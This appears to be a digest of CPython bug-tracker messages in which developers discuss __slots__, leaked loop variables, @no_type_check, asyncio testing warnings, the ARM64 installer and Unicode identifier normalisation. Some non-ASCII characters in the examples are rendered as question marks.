Ronald Oussoren <ronaldoussoren at mac.com> added the comment:
Python's is behaving as expected here (but see below): the slots definition tells the interpreter which attribute names can be set on an instance and "__slots__" is not one of those attributes in your code. "a.__slots__ += ..." will try to set the "a.__slots__" attribute (see Eryk's message for documentation on this) and that results in the exception you are seeing.
What surprised me is that A.__slots__ is mutable at all, the value of that attribute during class construction affects the layout of instances and that layout won't change when you change A.__slots__ later on.
That is:
class A:
__slots__ = ['a']
a = A()
a.a = ... # OK
a.b = ... # raises AttributeError
A.__slots__ = ['b']
a.a = ... # still OK
a.b = ... # still raises AttributeError
I don't know if this should be considered a bug or that this is intended behaviour.

This shouldn't be limited logging.
In unstable application scene, file should be append and then close immediately to avoid breaking filesystem (e.g. inode is not updated timely). Such as main.py file in MicroPython development board, user may disconnect USB or press reset at anytime without ejecting disk. Or in IVI system, some embedded devices, record should be appended immediately.
And if path.write(append=) is not common enough, then what's about built-in function open()? What's the purpose of adding read/write functions to pathlib.Path?

> IIRC, Carl got a lot of benefit out of reordering the opcodes in the main loop to put the most common ones at the top. I don't know if that is still relevant or whether computed gotos, when enabled, change that calculus.
AFAIK, on nix systems with PGO, the order doesn't matter. Brandt did some interesting research on this earlier https://github.com/faster-cpython/ideas/issues/96.
On Windows, it might be a different story. There are reports of up to 5% speedups in pyperformance just by moving LOAD_FAST and LOAD_GLOBAL out of the loop (to the top). See the last few messages in https://bugs.python.org/issue45116. I've heard from some people that MSVC's PGO doesn't deal with gigantic switch-case statements very well, though I can't confirm the veracity of that info.

> `_Py_Identifier` has been useful but at this point there is a faster and simpler approach we could take as a replacement: statically initialize the objects as fields on `_PyRuntimeState` and reference them directly through a macro.
This change is going to break projects in the wild. Yes, people use the _Py_IDENTIFIER(), _PyUnicode_FromId() and other "Id" variant of many functions in 3rd party projects.
Is it possible to keep runtime initialization if this API is used by 3rd party code?

I like the idea of starting the slower tests first.

In file operations, write/modify/append, which one is generic/common? They're all.
Modifying need more then one line code, but write/oppend needn't.
Two lines are bad to readability and readability counts.
How do you determine it's not common enough? There're many kind of users and application scene, and this feature is even not existed.
Should we create a poll both to Python developers and it's users?

Message-ID: <1643376969.17.0.119723519052.issue46562@roundup.psfhosted.org>
New submission from Pedro Torres <corfucinas at protonmail.com>:
Currently, the addition of Annotated in PEP 593 on Python 3.9 allows adding arbitrary metadata for type hints.
Let's consider the following
time_available_online: list[str] =
[
'1m',
'5m',
'1d'
]
```
Hour = Annotated(str, "time available online")
```
Another way to consider this is if the selection was an Enum, since we know the only available options that can be selected (ie. it is not all possible 'str', only the 'str' from a list, which can be defined by the user)
It would save time and simplify things if the following was possible.
---
from typing import Enum # we save time by not making a duplicate Class, or converting a constant variable to a Class
```
Hour = Enum[time_available_online, "time available online"]
```

> On such platforms, the `PyGet_Foo` API can be on equal footing with the legacy `Py_Foo` statics, i.e. both would do the same thing. That's how I've done it in my experiment. The obvious problem is that on platforms without compiler support for TLS, `Py_Foo` would be unavailable, and that's probably a no-go for an API that wouldn't be deprecated.
My GH-18301 PR uses "#define Py_None Py_GetNone()" which is backward compatible in terms of API.
Py_GetNone() can have various implementations, it doesn't matter at the API level.

PyType_HasFeature() is left unchanged since the change caused performance issue on macOS, whereas Python is not built with LTO.

STINNER Victor <vstinner at python.org> added the comment:
I close the issue. While this issue is not fully fixed, it's a milestone of my "stable ABI" goal. I prefer to address remaining issues in new separted issues.
This issues is not fully fixed, there are are still a 4 macros which access directly PyTypeObject members:
* PySequence_ITEM()
* _PyObject_SIZE()
* _PyObject_VAR_SIZE()
* PyType_HasFeature() (if Py_LIMITED_API is not defined)
PySequence_ITEM() and PyType_HasFeature() are important for performance, I prefer to have a PEP before changing these two functions.
_PyObject_SIZE() and _PyObject_VAR_SIZE() should be made public with a better name like PyObject_SizeOf() and PyVarObject_SizeOf(). But I prefer to do that in a separated issue.
IMO it would be interesting to merge the PyHeapTypeObject structure into the PyTypeObject structure:
https://bugs.python.org/issue46433#msg411167
And make the PyTypeObject opaque: deprecate static types and promote the usage of heap types in C extensions. That's a big project which may be splitted into multiple issues and the final change may need its own PEP.

Thanks for your report!
I think you're looking for the Literal type.
Also, new typing behaviors are better discussed first on https://github.com/python/typing or the typing-sig mailing list.

@ronaldoussoren - right, I agree that I think that raising the AttributeErrors is the right thing. The part that feels like a bug to me is that the exception is saying it is read only and yet it is not being treated it that way (even though as you point out, the end result doesn't "work").
Maybe this is something about the augmented assignment that I'm just not grokking... I read the blurb @eryksun posted several times, but not seeming to see what is going on.

Subject: [issue46564] Near zero-cost super().meth() calls via adaptive
superinstructions
Message-ID: <1643387818.31.0.971991048266.issue46564@roundup.psfhosted.org>
New submission from Ken Jin <kenjin4096 at gmail.com>:
`super().meth()` is expensive. I propose to optimize 3 parts of this:
1. Avoid creating a temporary super() proxy object.
2. Avoid creating a bound method.
3. Avoid method lookup in super MRO using the inline cache.
Credit for 1. and 2. doesn't belong to me. Those were inspired by the excellent work done in issue43563.
I'll do this by combining the adjacent CALL (super) and LOAD_METHOD instructions into CALL_NO_KW_SUPER__LOAD_METHOD. Using the specializer means:
- We don't touch any compiler code.
- This custom instruction isn't revealed to the user
- I can make use of the 5 cache entries shared by both CALL_ADAPTIVE and LOAD_METHOD_ADAPTIVE.
The final 2-argument super(type, obj).meth() form will have almost no overhead over a corresponding self.meth() call in the current implementation.
Please see https://github.com/faster-cpython/ideas/issues/242 and https://github.com/faster-cpython/ideas/discussions/239 for more info.

Subject: [issue46565] Multiple modules leak `for` loop variables into module's
namespace
Message-ID: <1643388451.48.0.632570140145.issue46565@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
Some variables created as `for X in ...` leak into module's namespace, where the loop is defined.
I wrote a simple `flake8` plugin to find names that are used in `ast.Module` in `ast.For`, but not under `if __name__ == '__main__'` and are not used in `del` afterwards.
Here's what I got:
- Lib/inspect.py:157
- Lib/locale.py:746
- Lib/sysconfig.py:186
- Lib/tokenize.py:141 - 151
- Lib/multiprocessing/process.py:427
- Lib/multiprocessing/managers.py:55
- Lib/json/encoder.py:30
- Lib/http/cookiejar.py:93
- Lib/email/contentmanager.py:73
- Lib/email/contentmanager.py:79
- Lib/email/contentmanager.py:247
- Lib/email/quoprimime.py:60
- Lib/email/quoprimime.py:149
- Lib/_compat_pickle
- Lib/lib2to3/pgen2/grammar.py
I think, that we need to remove these names. Why?
1. They complicate typeshed typing, we have to annotate them in typeshed, or write custom ignore rules for our test suite. Ref: https://github.com/python/typeshed/blob/56aa2088aada530400b6fdddf0f1d17ca3aaa86f/tests/stubtest_allowlists/py3_common.txt#L448
2. They are in `dir()`, example:
```
>>> import inspect
>>> 'k' in dir(inspect)
True
```
3. They are listed in `help()`, let's use `json.encoder` as an example:
```
DATA
ESCAPE = re.compile('[\\x00-\\x1f\\\\"\\b\\f\\n\\r\\t]')
ESCAPE_ASCII = re.compile('([\\\\"]|[^\\ -~])')
ESCAPE_DCT = {'\x00': r'\u0000', '\x01': r'\u0001', '\x02': r'\u0002',...
HAS_UTF8 = re.compile(b'[\x80-\xff]')
INFINITY = inf
i = 31
```
4. We also have to exclude them sometimes in tests, like https://github.com/python/cpython/blob/db77bcd6092f3c174ae855522411ab83854d65a8/Lib/test/test_inspect.py#L111
I think that adding `del X` somewhere in these modules is a good thing:
1. Not hard to backport
2. Fixes multiple issues above
3. Does not store useless objects in memory
4. Does not confuse people
5. Some modules already delete unused intermediate vars, so it is not something new to CPython, for example: `multiprocessing.process` https://github.com/python/cpython/blob/db77bcd6092f3c174ae855522411ab83854d65a8/Lib/multiprocessing/process.py#L419
PR is on its way!

Subject: [issue46566] Support -3.11-arm64 in py.exe launcher
Message-ID: <1643388779.11.0.426548045355.issue46566@roundup.psfhosted.org>
New submission from Steve Dower <steve.dower at python.org>:
We now have a traditional installer that runs on Windows ARM64 devices, but it omits the py.exe launcher. This is because sys.winver is "3.11-arm64" and hence the registry tag (see PEP 514) is not detected by the launcher.
Currently, the launcher is not included in the installer and appears as disabled with an explanatory note.
We need to add support for it eventually, and possibly block the final/RC/beta releases if we don't have it. (We don't ship the launcher with Nuget or Store packages, so nobody will miss it there, but they probably will here.)
32-bit apps can still run on ARM64, so it isn't essential to make it a native process. It just has to be able to detect the registry keys.
It should still support 32-bit and 64-bit installs, because those can also be run on ARM64 devices (though there are numerous things that don't work as well as a native build).
Possibly we want to just do the work to directly follow PEP 514 now? Depends on who volunteers to work on this, I guess.

Eryk Sun <eryksun at gmail.com> added the comment:
If the target object of an augmented assignment doesn't support the in-place binary operation, the normal binary operation is used instead. Thus an augmented assignment is implemented to always assign the result back to the target. For an attribute, that's similar to `x.a += 1` -> `x.a = x.a + 1`. For example:
>>> dis.dis('x.a += 1')
0 RESUME 0
1 2 LOAD_NAME 0 (x)
4 DUP_TOP
6 LOAD_ATTR 1 (a)
8 LOAD_CONST 0 (1)
10 BINARY_OP 13 (+=)
12 ROT_TWO
14 STORE_ATTR 1 (a)
16 LOAD_CONST 1 (None)
18 RETURN_VALUE
Note the STORE_ATTR instruction in the above bytecode.
As to __slots__, I think that class construction should store it as a tuple, unless maybe I'm overlooking some use case.

Steve Dower <steve.dower at python.org> added the comment:
The ARM64 installer will be part of the next 3.11 release, minus the py.exe launcher (which needs a chunk of work in issue46566) and Tcl/Tk (which needs upstream support for the platform) and hence IDLE.
I'm hesitant to make a final release without these components. At the same time, I'm concerned about other release blocking issues that may arise that are unrelated, so I do want to get releases out even without them so that we have a chance to discover them.

Message-ID: <1643388941.84.0.746346851464.issue46567@roundup.psfhosted.org>
New submission from Steve Dower <steve.dower at python.org>:
Currently our ARM64 installs omit Tcl/Tk (and implicitly tkinter and IDLE) because there appears to be no upstream support for building Tcl/Tk for ARM64.
Once the upstream support exists, or we have a good enough patch to apply to our own copy of the sources, we need to add these back.

How hard would it be to first randomize the list and then move the
slow tests up to a random position in the first half (for example) of
the list?

Alex Waygood <Alex.Waygood at Gmail.com> added the comment:
+1 for the proposed PR. Loop variables leaking into the global namespace creates an extra burden for typeshed when we have to wade through a long list of objects that our tests report are present at runtime but not in the typeshed stubs. It's not the end of the world, but it takes time, and is annoying.
As Nikita explains, these leaky variables also make the output of `help()` much less useful.
The fix isn't hard, and shouldn't, in my opinion, be particularly controversial.

Minor nit: I think swaptimize() should check the for PyMem_Malloc returning NULL here.
// Create an array with elements {0, 1, 2, ..., depth - 1}:
int *stack = PyMem_Malloc(depth * sizeof(int));
for (int i = 0; i < depth; i++) {
stack[i] = i;
}

Also, imp is deprecated now.

Hi Dennis,
Sorry, let me be more clear. CPython in general ensures that objects passed in as arguments to a function will live for the duration of the function call if they are otherwise untouched. As it is now, this invariant is not maintained when calling the __get__ descriptor. Right now, it is not only borrowed by the callee but also not owned by the caller (!).
Max

Message-ID: <1643408177.93.0.84354374725.issue26552@roundup.psfhosted.org>
Guido van Rossum <guido at python.org> added the comment:
So I just realized that the OP's description is slightly misleading. (Their code is spot on though!)
The code does not create an unwaited-for *task*, assuming that "task" refers to the asyncio.Task class.
What is created is a *coroutine* object that's never awaited (as the quoted RuntimeWarning message says: "coroutine 'foo' was never awaited").
So the thing that needs to be closed in the bowels of _ensure_future() is indeed the argument (coro_or_future), in case it is a coroutine object.

I believe that this is a subset of #18444. There are other shortcut that 'flash' a menu entry but do nothing. But I would consider a fix for this short of fixing everything.
How do you disable the default for ^space? In mac settings or tkinter (tk) settings?

Terry J. Reedy <tjreedy at udel.edu> added the comment:
When posting code for a bug report, here or anywhere else, please use the minimal code needed to demonstrate the issue. That includes using default arg values. And do not use non-essential files that responders will not have.
Anyway, with default background, turtle, and color, on my Win 10 3.10.2 64 bit install, your code works fine. Up and down arrows move turtle forward and back; right and left turn the turtle. The difference from the web site, likely running on *nix, is that I have to press keys multiple times instead of holding them down.
I have no idea what the difference might be from your Win 10 system.

Subject: [issue46520] ast.unparse produces bad code for identifiers that
become keywords
In-Reply-To: <1643123177.1.0.632269925829.issue46520@roundup.psfhosted.org>
Message-ID: <1643417058.52.0.798071834626.issue46520@roundup.psfhosted.org>
Terry J. Reedy <tjreedy at udel.edu> added the comment:
'Reserved words' include all double underscore words, like __reserved__. Using such is allowed, but we reserve the right to break such code by adding a use for the word. 'def' is a keyword. Using identifier normalization to smuggle keywords into compiled code is a clever hack. But I am not sure that there is an actionable bug anywhere.
The Unicode normalization rules are not defined by us. Changing how we use them or creating a custom normalization form is not to be done lightly.
Should ast.parse raise? The effect is the same as "globals()['???']=1" (which is the same as passing 'def' or anything else that normalizes to it) and that in turn allows ">>> ???", which returns 1. Should such identifiers be outlawed?
https://docs.python.org/3/reference/lexical_analysis.html#identifiers says "All identifiers are converted into the normal form NFKC while parsing; comparison of identifiers is based on NFKC." This does not say when an identifier is compared to the keyword set, before or after normalization. Currently is it before. Changing this to after could be considered a backwards-incompatible feature change that would require a deprecation period with syntax warnings. (Do other implementations also compare before normalization?)
Batuhan already quoted https://docs.python.org/3/library/ast.html#ast.unparse and I mostly agree with his comments. The "would produce" part is contingent upon the result having no syntax errors, and that cannot be guaranteed. What could be done is to check every identifier against keywords and change the first character to a chosen NFKD equivalent. Although 'fixing' the ast this way would make unparse seem to work better succeed in this case, there are other fixes that might also be suggested for the same reason.
Until this is done in CPython, anyone who cares could write an AST visitor to make the same change before calling unparse. Example code could be attached to this issue.

Any chance we could revert the recent renaming of tstate.exc_state and tstate.root_cframe in https://github.com/python/cpython/pull/30590? It broke Greenlet again:
https://github.com/python-greenlet/greenlet/issues/288
If it's only a name change (and the members themselves are the same), I think reverting it is preferable to burying Greenlet in more compatibility macros and bugging them to put out another new release.

Eric V. Smith <eric at trueblade.com> added the comment:
In case anyone cares: in a non-debug build, this error had no real effect. It just caused the "find the literal part of an fstring" routine to terminate early, but since the part that it had already identified was still in error, a syntax error was still raised.
For "\Nxy" it would terminate at "\Nx", instead of consuming the whole string. But since "\Nx" isn't a valid string (bad unicode name escape), it would raise the same syntax error as "\Nxy".

Hi Max,
My apologies -- my first message was probably too dismissive.
Is there any way to make the existing code crash with pure Python, and can we then add such a test case? If not with pure Python, then perhaps with some minimal reproducible example using the C API?
Also, does the change have any effect on microbenchmarks involving the modified functions?

Tushar, I am the principle IDLE maintainer and have dealt with similar interactive compile problems on and off for a few years. Code module uses codeop._maybe_compile, which in turn uses batch-mode compile().
To review: Code can be in 3 states: legal, illegal (there is an positive error that must be fixed), and incomplete (might become legal with more input). Batch mode compile has all the code it is going to get, so it raises an exception for both bad and incomplete code.
In command-line languages, '\n' definitely signals end-of-command. Even in interactive mode, incomplete commands get an error message. The user must retype or recall and add more.
Python is a multiline and compound statement language. Newline may instead signal the end of a compound statement header or the end of a nested statement, or even just be present for visual formatting. Being able to continue incomplete statements after newline is essential.
In interactive mode, the interpreter looks at code after each newline and differentiates between unrecoverable and merely incomplete errors. In the latter case, it sends a prompt to enter more and then reads more.
codeop._maybe compile attempts to simulate interactive mode and make a trinary decision (returning None for 'incomplete') using batch-mode binary compile(). A hack using repeated compiles, a warning filter, and a helper function classifies code that failed the initial compile. I suspect that a) it has never been perfect and b) it cannot be (see experiment below).
The issue here is that _maybe_compile returns None instead of passing on the compile syntax error. Some debug prints would reveal exactly why.
An alternate approach might be to compile just once and use the error message and marked error range to split. But that would require different message-range pairs for the different cases. Compile does not seem to give this to us. For the current case, 3.11.a04 compile (and ast.parse) give the same response to both bad and incomplete lines.
>>> compile("a b '''", '', 'single')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "", line 1
a b '''
^
SyntaxError: unterminated triple-quoted string literal (detected at line 1)
>>> compile("s='''", '', 'single')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "", line 1
s='''
^
SyntaxError: unterminated triple-quoted string literal (detected at line 1
But the REPL somehow treats the two lines differently when directly entered.
>>> s = '''
...
... '''
>>> a b '''
File "<stdin>", line 1
a b '''
^
SyntaxError: unterminated triple-quoted string literal (detected at line 1)
Pablo, is there any possibility that the internal REPL parser could be wrapped, exposed to Python, and called with fake stdin/out/err objects?
Or if one executes 'python -i -c "start code"', what is required of the standard streams for '-i' to be effective and actually shift into interactive mode, reading from and writing to those streams? Just claim to be a tty? It is any different than for reading responses to "input('prompt')"?

I am opposed at this time. Leaving loop variables available is an intended feature of python.
After reading point 1, I was tempted to say that you are making a fetish of typing or making the tail wag the dog. I mention this because others might have similar reactions. After reading points 2 and 3, I am much more favorable and would allow changes in idlelib if any were needed. A cleaner dir and help listing affects everyone.
I changed the title to be more 'neutral'. 'Leak' is perjorative. "we need to remove these names" is a bit misleading as it implies total removal, which is not the proposal.
As it is, the PR applies a style standard on the stdlib that is not in PEP 8. I recommend that you start by proposing an addition to PEP-8.
"Unless X, global loop variables should be explicitly deleted as soon as not needed. Or use a comprehension." (I checked and 'loop' does not currently appear in PEP-8, and none of the 5 examples I checked could use a comprehension.)
If you do, I recommend starting with dir and help, with typing third.
You might post the idea on pydev and ask how much and what sort of discussion is needed.

files = [f.relative_to(dir_a) for f in dir_a.glob("*")]
(_, different, _) = filecmp.cmpfiles(dir_a, dir_b, files, shallow=False)

Thanks for the better wording, Terry!
> Leaving loop variables available is an intended feature of python.
Just to be clear: it sure is! But, sometimes we don't want to polute a global namespace with this variable. A common practice across CPython's source is to use `del` or comprehensions. That's exactly what my PR does: it finds places where people forgot to do that and adds a cleanup.
> As it is, the PR applies a style standard on the stdlib that is not in PEP 8. I recommend that you start by proposing an addition to PEP-8.
Interesting idea! But, I think that this is an orthogonal non-blocking task, which might be much harder compared to this one :)
I will add this to my backlog.
> You might post the idea on pydev and ask how much and what sort of discussion is needed.
Good starting point, agreed!

Subject: [issue46568] non awaited coroutines on a IsolatedAsyncioTestCase
results on a RuntimeWarning
Message-ID: <1643445957.83.0.70442221241.issue46568@roundup.psfhosted.org>
New submission from bluecarrot <felix at kngnt.org>:
I am unittesting a tcp proxy module using coroutines. This is the coroutine I am using to do the forwarding, allowing the writer stream to drain while the rest of the coroutines are proceeding:
async def forward_stream(reader: StreamReader, writer: StreamWriter, event: asyncio.Event, source: str):
writer_drain = writer.drain()
while not event.is_set():
try:
data = await asyncio.wait_for(reader.read(1024), 1)
except asyncio.TimeoutError:
continue
if not data:
event.set()
break
# parse the data
if reading := parse(data):
# wait for the previous write to finish, and forward the data to the other end, process the data in between
await writer_drain
writer.write(data)
writer_drain = writer.drain()
# wait for any outstanding write buffer to be flushed
await writer_drain
logger.info("{} reader forwarder finished.".format(source))
In my unit tests, I have the following (EnergyAgentProxy is the wrapper calling the coroutine in the module that creates the proxy)
class TestConnections(IsolatedAsyncioTestCase):
async def asyncSetUp(self) -> None:
self.proxy = asyncio.create_task(EnergyAgentProxy(self.proxy_port, self.server_port, self.upstream_port))
The problem is: When running these tests, I am getting the following error:
/usr/lib/python3.10/unittest/async_case.py:159: RuntimeWarning: coroutine 'StreamWriter.drain' was never awaited
Coroutine created at (most recent call last)
File "/usr/lib/python3.10/unittest/case.py", line 650, in __call__
return self.run(*args, **kwds)
[...]
File "/home/frubio/Documents/powermonitor_raspberrypi/EnergyAgent.py", line 48, in forward_stream
writer_drain = writer.drain()
self._tearDownAsyncioLoop()
So... to me, it looks like when the tasks are being cancelled I am getting this warning because the last "await writer_drain" in forward stream is not executed, but I cannot ensure that. Am I doing something wrong? Is there any way I can just prevent this warning from showing up in my tests?

Your code has at least one concurrency problem. Let's look back at forward_stream() function:
async def forward_stream(reader: StreamReader, writer: StreamWriter, event: asyncio.Event, source: str):
writer_drain = writer.drain() # <--- awaitable is created here
while not event.is_set():
try:
data = await asyncio.wait_for(reader.read(1024), 1) # <-- CancelledError can be caught here, stack unwinds and writer_drain is never awaited, sure.
except asyncio.TimeoutError:
continue
... # the rest is not important for this case
To solve the problem, you should create writer_drain *before its awaiting*, not before another 'await' call.

Hi Andrew, thank you for your answer. I am experimenting with coroutines, as I am pretty new to them. My idea was to let the writer drain while other packets where read, and thus I am waiting for the writer_drain right before starting writer.write again. Isn't that the correct wait to overlap the readings and the writings?
If I modify my initial code to look like:
async def forward_stream(reader: StreamReader, writer: StreamWriter, event: asyncio.Event, source: str):
writer_drain = writer.drain() # <--- awaitable is created here
while not event.is_set():
try:
data = await asyncio.wait_for(reader.read(1024), 1) # <-- CancelledError can be caught here, stack unwinds and writer_drain is never awaited, sure.
except asyncio.TimeoutError:
continue
except asyncio.CancelledError:
event.set()
break
... # the rest is not important for this case
await writer_drain
so that in case the task is cancelled, writer_drain will be awaited outside of the loop. This works, at the cost of having to introduce code specific for testing purposes (which feels wrong). In "production", the workflow of this code will be to loose the connection, break out of the loop, and wait for the writer stream to finish... but I am not introducing any method allowing me to cancel the streams once the script is running.
In the same way leaked tasks are "swallowed", which I have tested and works, shouldn't be these cases also handled by the tearDownClass method of IsolatedAsyncioTestCase?

I agree that the typeshed issue is less important than the output of dir() and help(). I also agree that we shouldn't make a fetish of typing.
However, I see the typeshed issue less as an issue specific to typing, and more as an example that illustrates a general problem third-party tools have. For example, having these temporary variables leak into global namespaces also makes IDE autocompletion less valuable, and makes life harder for tools that auto-generate documentation.
Perhaps a PEP8 revision might be warranted in due course ? but in the meantime, are there any downsides to this proposed change? I believe we have pointed out several upsides.
I don't see this as a style issue first and foremost: the PR is attempting to solve a genuine problem for some end-users of Python. It is not simply making cosmetic changes.

Your version works but can be simplified.
Just use
await writer.drain()
writer.write(data)
without grabbing the drainer early.
The purpose of the .drain() method is to write pausing if the write buffer side is greater than the high watermark.
The 'await writer.drain()' waits until the buffer size became less than low watermark. It prevents uncontrollable write buffer growth if a peer cannot accept TCP message as fast as `writer.write()` sends them.
The .drain() call has no hidden process under the hood, there is no need to get write_drain reference as early as possible. It is just 'waiting for a flag'.
Also, there is no need for `await write_drain` at the end: asyncio transport sends all data from the internal write buffer before closing (and doesn't do it on 'transport.abort()').

The problem is that the lexer assumes that anything that is not ASCII cannot be a keyword and lexes ???? as an identifier.

True is a keyword which is compiled to expression whose value is True, ???? is an identifier which refers to the builtin variable "True" which has a value True by default. You can change the value of a builtin variable, but the value of expression True is always True.
I do not see a problem here. Don't use ???? if your intention is not using a variable.

Message-ID: <1643463311.66.0.905342043937.issue46570@roundup.psfhosted.org>
New submission from Jay Lee <jay0lee at gmail.com>:
Steps to reproduce:
1) Compile OpenSSL 3.0 on Windows.
2) use get_externals.bat to download Python external requirements on Windows.
3) Overwrite OpenSSL 1.1.1m in externals with your OpenSSL 3.0 build.
Expected behavior:
Python will build against OpenSSL 3.0
Actual behavior:
Build fails with missing DLLs.
Further information:
- For OpenSSL 3.0 builds, the first suffix for libcrypto and libssl is -3, not -1_1.
- For x86_64 builds, there's also an -x64 suffix to distinguish from x86 builds.
I have a openssl.props modified file at:
https://github.com/GAM-team/actions-hello-world/blob/master/openssl.props
which I've overwritten the existing:
https://github.com/python/cpython/blob/main/PCbuild/openssl.props#L13
file with and then succesfully compiled against OpenSSL 3.0. However I'm not certain if or where the logic should exist to detect OpenSSL 3.0 DLLs instead of 1.1.

Subject: [issue46571] Strange `@typing.no_type_check` behavior for class
variables
Message-ID: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
I was working on improving coverage and test quality of `typing.py`, when I saw that `@no_type_check` is quite strange.
Let's dive into this!
## Everything is correct
We will start with a basic example, that illustrates that everything works fine:
```
from typing import no_type_check, get_type_hints
class A:
x: int = 1
class B:
y: str = 'a'
print(get_type_hints(A)) # ok: {'x': <class 'int'>}
print(get_type_hints(B)) # ok: {'y': <class 'str'>}
```
Ok, let's move on.
## Adding `@no_type_check`
Now, adding `@no_type_check` to `B` will make the result of `get_type_hints()` call on it - an empty `dict`:
```
from typing import no_type_check, get_type_hints
class A:
x: int = 1
@no_type_check
class B:
y: str = 'a'
print(get_type_hints(A)) # ok: {'x': <class 'int'>}
print(get_type_hints(B)) # ok: {}
```
This is still ok.
## Broken?
And now we can add some class-level constant to `B`, like `delegate` to show how it breaks `A`:
```
from typing import no_type_check, get_type_hints
class A:
x: int = 1
@no_type_check
class B:
y: str = 'a'
delegate = A # adding this line will make `A` to have `__no_type_check__` as well
print(get_type_hints(A)) # {}, wait, what?
print(get_type_hints(B)) # {}, ok
```
Why is that important?
It introduces an unfortunate side-effect that can make some totally unrelated (!) class completely ignore `get_type_hints()` and break things like `pydantic`, `beartype`, `attrs, etc that rely on type hints.
By adding a class-level assignment to a class that has `@no_type_check` or other `no_type_check_decorator`.
Why does this happen?
It happens because `no_type_check` has this logic:
```
if isinstance(arg, type):
arg_attrs = arg.__dict__.copy()
for attr, val in arg.__dict__.items():
if val in arg.__bases__ + (arg,):
arg_attrs.pop(attr)
for obj in arg_attrs.values():
if isinstance(obj, types.FunctionType):
obj.__no_type_check__ = True
if isinstance(obj, type):
no_type_check(obj)
```
Source: https://github.com/python/cpython/blob/8b1b27f1939cc4060531d198fdb09242f247ca7c/Lib/typing.py#L1952-L1975
As you can see above, we traverse all `__dict__` values of the given `class` and for some reason recurse into all nested types.
I think that the original goal was to handle cases like:
```
@no_type_check
class Outer:
class Inner: ...
```
And now it also affects regular assignments.
So, what can we do?
0. Nothing, it works correctly (I disagree)
1. Do not cover nested classes at all with `@no_type_check`, only cover methods
2. Only cover types that are **defined** in this class, like my `Inner` class example
3. Something else?
I think that `(2)` is more inline with the currect implementation, so my vote is for it.
I would like to implement this when we will have the final agreement :)

...Option 3). Deprecate @no_type_check?
Maybe we should gather some stats on how many people are using @no_type_check? My feeling is that it's never achieved widespread adoption, so maybe it's just not that useful a thing to have in the stdlib.
Anyway, the behaviour you've pointed out is nuts, so I agree that something needs to change here!

(Hilariously, I couldn't post this comment on bugs.python.org due to some kind of Unicode bug ("Edit Error: 'utf8' codec can't decode bytes in position 208-210: invalid continuation byte"), so I've rendered "\U0001D555\U0001D556\U0001D557" as "DEF" in the below.)
Thanks for clarifying the terminology re: reserved words vs. keywords.
> The effect is the same as "globals()['DEF']=1" (which is the same as
> passing 'def' or anything else that normalizes to it) and that in
> turn allows ">>> DEF", which returns 1.
This doesn't quite seem to be the case, at least on Pythons 3.9 and 3.10:
>>> globals()['DEF']=1
>>> DEF
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'def' is not defined
>>> globals()['def']=1
>>> DEF
1
It looks the dictionary interface to `globals` doesn't normalize like the parser does.

Let's not jump into deprecating it.
I think (2) makes the most sense. If we can get that working reliably (using __qualname__ I assume), it would be my preference; otherwise we should do (1).
This problem can also affect function objects, right? `class B: meth = some_function`.

Subject: [issue46571] Strange `@typing.no_type_check` behavior for class
variables
In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org>
Message-ID: <1643475217.25.0.83576890903.issue46571@roundup.psfhosted.org>
Guido van Rossum <guido at python.org> added the comment:
@no_type_check (introduced by PEP 484) is intended for static checkers, to signal to them that they shouldn't check the given function or class.
I don't think PEP 484 specifies its runtime effect -- arguably get_type_hints() could just ignore it. Or raise an exception when called on such a class. We could even argue that @no_type_check shouldn't have a runtime effect.
But before we change anything we should be guided by:
1. What is documented?
2. What does it do now?
3. How is that used by runtime type inspectors?
4. What would be most useful to runtime type inspectors?

Subject: [issue46572] Unicode identifiers not necessarily unique
Message-ID: <1643475968.35.0.473325174719.issue46572@roundup.psfhosted.org>
New submission from Diego Argueta <diego.argueta at gmail.com>:
The way Python 3 handles identifiers containing mathematical characters appears to be broken. I didn't test the entire range of U+1D400 through U+1D59F but I spot-checked them and the bug manifests itself there:
Python 3.9.7 (default, Sep 10 2021, 14:59:43)
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> foo = 1234567890
>>> bar = 1234567890
>>> foo is bar
False
>>> ??? = 1234567890
>>> foo is ???
False
>>> bar is ???
True
>>> ??? = 0
>>> bar
0
This differs from the behavior with other non-ASCII characters. For example, ASCII 'a' and Cyrillic 'a' are properly treated as different identifiers:
>>> ? = 987654321 # Cyrillic lowercase 'a', U+0430
>>> a = 123456789 # ASCII 'a'
>>> ? # Cyrillic
987654321
>>> a # ASCII
123456789
While a bit of a pathological case, it is a nasty surprise. It's possible this is a symptom of a larger bug in the way identifiers are resolved.
This is similar but not identical to https://bugs.python.org/issue46555
Note: I did not find this myself; I give credit to Cooper Stimson (https://github.com/6C1) for finding this bug. I merely reported it.

This seems coherent with https://www.python.org/dev/peps/pep-3131/ to me. The parser ensures all identifiers are converted into the normal form NFKC while parsing; comparison of identifiers is based on NFKC.

Message-ID: <1643478065.25.0.100546616158.issue46521@roundup.psfhosted.org>
Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:
>> Pablo, is there any possibility that the internal REPL parser could be wrapped, exposed to Python, and called with fake stdin/out/err objects?
I would really advise against this. Unfortunately, the state of affairs is that the REPL is somehow super entangled with the parser, to the point that is the tokenizer asking for more characters that triggers a read from stdin. Exposing this with some API would be super dangerous because we would be elevated to the "supported" level anything that works just because it happens to be close to what the interactive mode needs.
On the other side, codeop is fundamentally flawed in the way is built because relies on comparing error messages from the parser, which is a very poor way of handling semantic information.
What we need here is a mode of the parser that somehow raises a very specific error on incomplete input, but not an incorrect one. And that may be not immediate to implement given in how many places we can raise lexer and parser errors. I will give it a go, in any case

New submission from Mital Ashok <mital.vaja at googlemail.com>:
There's no reason that `count('', 'a')` for `'', 'a', 'aa', ...` or `count((), (1,))` for `(), (1,), (1, 1), ...` shouldn't work.
count(a, b) should be equivalent to accumulate(chain((a,), repeat(b)))
The docs don't strongly suggest that it won't work (it says *start* is a number, but the "roughly equivalent to" generator would work for str/tuple/etc)

This would be something to do with your setup, but you did not provide any information about your system and the steps you took to get to this point so it's hard to know what happened.
In any case, 3.7 is no longer maintained so I am closing this. Please create a new issue, with more information, if you are seeing this problem on a current version (>= 3.9).

